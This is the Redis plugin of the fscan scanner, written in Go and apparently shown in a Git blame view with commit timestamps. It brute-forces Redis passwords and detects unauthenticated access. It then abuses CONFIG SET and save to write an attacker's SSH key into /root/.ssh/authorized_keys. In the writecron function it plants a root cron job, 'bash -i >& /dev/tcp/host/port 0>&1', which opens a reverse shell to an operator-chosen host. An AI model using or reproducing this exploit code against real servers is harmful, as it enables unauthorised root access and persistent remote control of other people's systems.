fscan/Plugins/redis.go

395 lines
9.2 KiB
Go
Raw Normal View History

2020-12-29 17:17:10 +08:00
package Plugins
import (
"bufio"
"fmt"
2023-11-13 11:16:12 +08:00
"github.com/shadow1ng/fscan/common"
2023-11-13 17:41:54 +08:00
"io"
2020-12-29 17:17:10 +08:00
"net"
"os"
"strings"
"time"
)
2021-09-10 20:32:51 +08:00
var (
dbfilename string
dir string
2021-09-10 20:32:51 +08:00
)
2023-11-13 11:16:12 +08:00
func RedisScan(info *common.HostInfo) (tmperr error) {
2021-03-30 18:12:54 +08:00
starttime := time.Now().Unix()
2023-11-13 11:16:12 +08:00
flag, err := RedisUnauth(info)
if flag == true && err == nil {
2020-12-29 17:17:10 +08:00
return err
}
2023-11-13 11:16:12 +08:00
if common.IsBrute {
2021-11-25 10:16:39 +08:00
return
}
2020-12-29 17:17:10 +08:00
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", "redis", -1)
2023-11-13 11:16:12 +08:00
flag, err := RedisConn(info, pass)
if flag == true && err == nil {
2020-12-29 17:17:10 +08:00
return err
} else {
2021-04-21 00:13:04 +08:00
errlog := fmt.Sprintf("[-] redis %v:%v %v %v", info.Host, info.Ports, pass, err)
common.LogError(errlog)
2020-12-29 17:17:10 +08:00
tmperr = err
2021-03-30 18:12:54 +08:00
if common.CheckErrs(err) {
return err
}
2023-11-13 11:16:12 +08:00
if time.Now().Unix()-starttime > (int64(len(common.Passwords)) * common.Timeout) {
2021-03-30 18:12:54 +08:00
return err
}
2020-12-29 17:17:10 +08:00
}
}
return tmperr
}
2023-11-13 11:16:12 +08:00
func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
2020-12-29 17:17:10 +08:00
flag = false
2021-04-21 00:13:04 +08:00
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
2023-11-13 11:16:12 +08:00
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
2020-12-29 17:17:10 +08:00
if err != nil {
return flag, err
}
2023-11-13 16:23:19 +08:00
defer conn.Close()
2023-11-13 11:16:12 +08:00
err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
2021-07-20 11:29:43 +08:00
if err != nil {
return flag, err
}
2020-12-29 17:17:10 +08:00
_, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass)))
if err != nil {
return flag, err
}
reply, err := readreply(conn)
if err != nil {
return flag, err
}
if strings.Contains(reply, "+OK") {
flag = true
2021-09-10 20:32:51 +08:00
dbfilename, dir, err = getconfig(conn)
if err != nil {
2023-11-13 11:16:12 +08:00
result := fmt.Sprintf("[+] Redis %s %s", realhost, pass)
2021-09-10 20:32:51 +08:00
common.LogSuccess(result)
2021-11-25 10:16:39 +08:00
return flag, err
} else {
2023-11-13 11:16:12 +08:00
result := fmt.Sprintf("[+] Redis %s %s file:%s/%s", realhost, pass, dir, dbfilename)
2021-09-10 20:32:51 +08:00
common.LogSuccess(result)
}
2023-11-13 11:16:12 +08:00
err = Expoilt(realhost, conn)
2020-12-29 17:17:10 +08:00
}
return flag, err
}
2023-11-13 11:16:12 +08:00
func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
2020-12-29 17:17:10 +08:00
flag = false
2021-04-21 00:13:04 +08:00
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
2023-11-13 11:16:12 +08:00
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
2020-12-29 17:17:10 +08:00
if err != nil {
return flag, err
}
2023-11-13 16:23:19 +08:00
defer conn.Close()
2023-11-13 11:16:12 +08:00
err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
2021-07-20 11:29:43 +08:00
if err != nil {
return flag, err
}
2020-12-29 17:17:10 +08:00
_, err = conn.Write([]byte("info\r\n"))
if err != nil {
return flag, err
}
reply, err := readreply(conn)
if err != nil {
return flag, err
}
if strings.Contains(reply, "redis_version") {
flag = true
2021-09-10 20:32:51 +08:00
dbfilename, dir, err = getconfig(conn)
if err != nil {
2023-11-13 11:16:12 +08:00
result := fmt.Sprintf("[+] Redis %s unauthorized", realhost)
2021-09-10 20:32:51 +08:00
common.LogSuccess(result)
2021-11-25 10:16:39 +08:00
return flag, err
} else {
2023-11-13 11:16:12 +08:00
result := fmt.Sprintf("[+] Redis %s unauthorized file:%s/%s", realhost, dir, dbfilename)
2021-09-10 20:32:51 +08:00
common.LogSuccess(result)
}
2023-11-13 11:16:12 +08:00
err = Expoilt(realhost, conn)
2020-12-29 17:17:10 +08:00
}
return flag, err
}
2023-11-13 11:16:12 +08:00
func Expoilt(realhost string, conn net.Conn) error {
2024-08-29 09:50:32 +08:00
if common.Noredistest {
return nil
}
2020-12-29 17:17:10 +08:00
flagSsh, flagCron, err := testwrite(conn)
if err != nil {
return err
}
2023-11-13 11:16:12 +08:00
if flagSsh == true {
result := fmt.Sprintf("[+] Redis %v like can write /root/.ssh/", realhost)
2020-12-29 17:17:10 +08:00
common.LogSuccess(result)
2023-11-13 11:16:12 +08:00
if common.RedisFile != "" {
writeok, text, err := writekey(conn, common.RedisFile)
2020-12-29 17:17:10 +08:00
if err != nil {
2023-11-13 11:16:12 +08:00
fmt.Println(fmt.Sprintf("[-] %v SSH write key errer: %v", realhost, text))
2020-12-29 17:17:10 +08:00
return err
}
if writeok {
2023-11-13 11:16:12 +08:00
result := fmt.Sprintf("[+] Redis %v SSH public key was written successfully", realhost)
2020-12-29 17:17:10 +08:00
common.LogSuccess(result)
} else {
2023-11-13 11:16:12 +08:00
fmt.Println("[-] Redis ", realhost, "SSHPUB write failed", text)
2020-12-29 17:17:10 +08:00
}
}
}
2023-11-13 11:16:12 +08:00
if flagCron == true {
result := fmt.Sprintf("[+] Redis %v like can write /var/spool/cron/", realhost)
2020-12-29 17:17:10 +08:00
common.LogSuccess(result)
2023-11-13 11:16:12 +08:00
if common.RedisShell != "" {
writeok, text, err := writecron(conn, common.RedisShell)
2020-12-29 17:17:10 +08:00
if err != nil {
return err
}
if writeok {
2023-11-13 11:16:12 +08:00
result := fmt.Sprintf("[+] Redis %v /var/spool/cron/root was written successfully", realhost)
2020-12-29 17:17:10 +08:00
common.LogSuccess(result)
} else {
2023-11-13 11:16:12 +08:00
fmt.Println("[-] Redis ", realhost, "cron write failed", text)
2020-12-29 17:17:10 +08:00
}
}
}
2021-03-30 22:30:16 +08:00
err = recoverdb(dbfilename, dir, conn)
2020-12-29 17:17:10 +08:00
return err
}
func writekey(conn net.Conn, filename string) (flag bool, text string, err error) {
flag = false
2023-06-05 19:02:55 +03:00
_, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
2020-12-29 17:17:10 +08:00
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
2023-06-05 19:02:55 +03:00
_, err := conn.Write([]byte("CONFIG SET dbfilename authorized_keys\r\n"))
2020-12-29 17:17:10 +08:00
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
key, err := Readfile(filename)
if err != nil {
text = fmt.Sprintf("Open %s error, %v", filename, err)
return flag, text, err
}
if len(key) == 0 {
text = fmt.Sprintf("the keyfile %s is empty", filename)
return flag, text, err
2020-12-29 17:17:10 +08:00
}
_, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
2023-06-05 19:02:55 +03:00
_, err = conn.Write([]byte("save\r\n"))
2020-12-29 17:17:10 +08:00
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
flag = true
}
}
}
}
text = strings.TrimSpace(text)
if len(text) > 50 {
text = text[:50]
}
return flag, text, err
}
func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
flag = false
2024-08-29 09:50:32 +08:00
// 尝试写入Ubuntu的路径
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/crontabs/\r\n"))
if err != nil {
2020-12-29 17:17:10 +08:00
return flag, text, err
2024-08-29 09:50:32 +08:00
}
text, err = readreply(conn)
2020-12-29 17:17:10 +08:00
if err != nil {
return flag, text, err
}
2024-08-29 09:50:32 +08:00
if !strings.Contains(text, "OK") {
// 如果没有返回"OK"可能是CentOS尝试CentOS的路径
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
if err != nil {
2024-08-29 09:50:32 +08:00
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
2024-08-29 09:50:32 +08:00
return flag, text, err
}
2024-08-29 09:50:32 +08:00
}
2020-12-29 17:17:10 +08:00
if strings.Contains(text, "OK") {
2023-06-05 19:02:55 +03:00
_, err = conn.Write([]byte("CONFIG SET dbfilename root\r\n"))
2020-12-29 17:17:10 +08:00
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
target := strings.Split(host, ":")
if len(target) < 2 {
return flag, "host error", err
}
scanIp, scanPort := target[0], target[1]
2020-12-29 17:17:10 +08:00
_, err = conn.Write([]byte(fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", scanIp, scanPort)))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
2023-11-13 11:16:12 +08:00
_, err = conn.Write([]byte("save\r\n"))
if err != nil {
2020-12-29 17:17:10 +08:00
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
flag = true
2021-01-01 12:26:38 +08:00
}
}
}
}
2020-12-29 17:17:10 +08:00
text = strings.TrimSpace(text)
if len(text) > 50 {
text = text[:50]
}
return flag, text, err
}
func Readfile(filename string) (string, error) {
file, err := os.Open(filename)
if err != nil {
return "", err
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
text := strings.TrimSpace(scanner.Text())
if text != "" {
return text, nil
}
}
return "", err
}
2023-11-13 17:41:54 +08:00
func readreply(conn net.Conn) (string, error) {
conn.SetReadDeadline(time.Now().Add(time.Second))
bytes, err := io.ReadAll(conn)
if len(bytes) > 0 {
err = nil
2020-12-29 17:17:10 +08:00
}
2023-11-13 17:41:54 +08:00
return string(bytes), err
2020-12-29 17:17:10 +08:00
}
func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
var text string
2023-06-05 19:02:55 +03:00
_, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
2020-12-29 17:17:10 +08:00
if err != nil {
return flag, flagCron, err
}
text, err = readreply(conn)
if err != nil {
return flag, flagCron, err
}
if strings.Contains(text, "OK") {
flag = true
}
2023-06-05 19:02:55 +03:00
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
2020-12-29 17:17:10 +08:00
if err != nil {
return flag, flagCron, err
}
text, err = readreply(conn)
if err != nil {
return flag, flagCron, err
}
if strings.Contains(text, "OK") {
flagCron = true
}
return flag, flagCron, err
}
2021-03-09 17:00:06 +08:00
func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
2023-06-05 19:02:55 +03:00
_, err = conn.Write([]byte("CONFIG GET dbfilename\r\n"))
2021-03-09 17:00:06 +08:00
if err != nil {
return
}
2021-03-18 16:25:31 +08:00
text, err := readreply(conn)
2021-03-09 17:00:06 +08:00
if err != nil {
return
}
2021-09-10 20:32:51 +08:00
text1 := strings.Split(text, "\r\n")
2021-03-18 16:25:31 +08:00
if len(text1) > 2 {
dbfilename = text1[len(text1)-2]
} else {
dbfilename = text1[0]
}
2023-06-05 19:02:55 +03:00
_, err = conn.Write([]byte("CONFIG GET dir\r\n"))
2021-03-09 17:00:06 +08:00
if err != nil {
return
}
2021-03-18 16:25:31 +08:00
text, err = readreply(conn)
2021-03-09 17:00:06 +08:00
if err != nil {
return
}
2021-09-10 20:32:51 +08:00
text1 = strings.Split(text, "\r\n")
2021-03-18 16:25:31 +08:00
if len(text1) > 2 {
dir = text1[len(text1)-2]
} else {
dir = text1[0]
}
2021-03-09 17:00:06 +08:00
return
}
func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) {
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename %s\r\n", dbfilename)))
if err != nil {
return
}
2023-11-13 11:16:12 +08:00
_, err = readreply(conn)
if err != nil {
2021-03-09 17:00:06 +08:00
return
}
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir)))
if err != nil {
return
}
2023-11-13 11:16:12 +08:00
_, err = readreply(conn)
if err != nil {
2021-03-09 17:00:06 +08:00
return
}
return
}